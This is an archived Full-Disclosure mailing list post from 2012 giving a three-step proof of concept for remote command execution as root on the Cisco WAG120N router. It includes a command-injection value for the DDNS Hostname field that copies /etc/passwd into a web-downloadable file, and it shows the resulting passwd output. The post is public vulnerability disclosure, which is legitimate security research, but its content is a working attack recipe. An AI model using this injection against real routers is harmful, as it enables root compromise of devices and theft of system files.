[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Message-ID: <CA+paTQQ0p1biYD7S=kR7z2G95tQ9yi_jqRTYDoJ=4Z8YJOdtdQ@mail.gmail.com>
Date: Thu, 22 Nov 2012 12:23:17 +0100
From: Manu <sourvivor@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Remote Command Execution on Cisco WAG120N
Hello, here you have a quick POC in three simple steps
# Remote Command Execution on Cisco WAG120N.
# (Not tested in other routers)
#
# Manuel Fernández Fernández (thesur@...m3.com)
#
# Greetings to 2x1 crew (Alberto, Dani, Luis, Juanmi, Juanito & oca)
1º Authenticate and browse to /setup.cgi?next_file=Setup_DDNS.htm
2º All the fields you see are vulnerables to command execution as root, so
inject "qwe.com;cat /etc/passwd> /www/Routercfg.cfg;" into the Hostname
field
3º Everything is done, just download the file /Routercfg.cfg (Authenticated
is requiered)
root::0:0:root:/:/bin/sh
nobody::99:99:Nobody:/:/sbin/sh
--
Manuel Fernández
Content of type "text/html" skipped
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Powered by blists - more mailing lists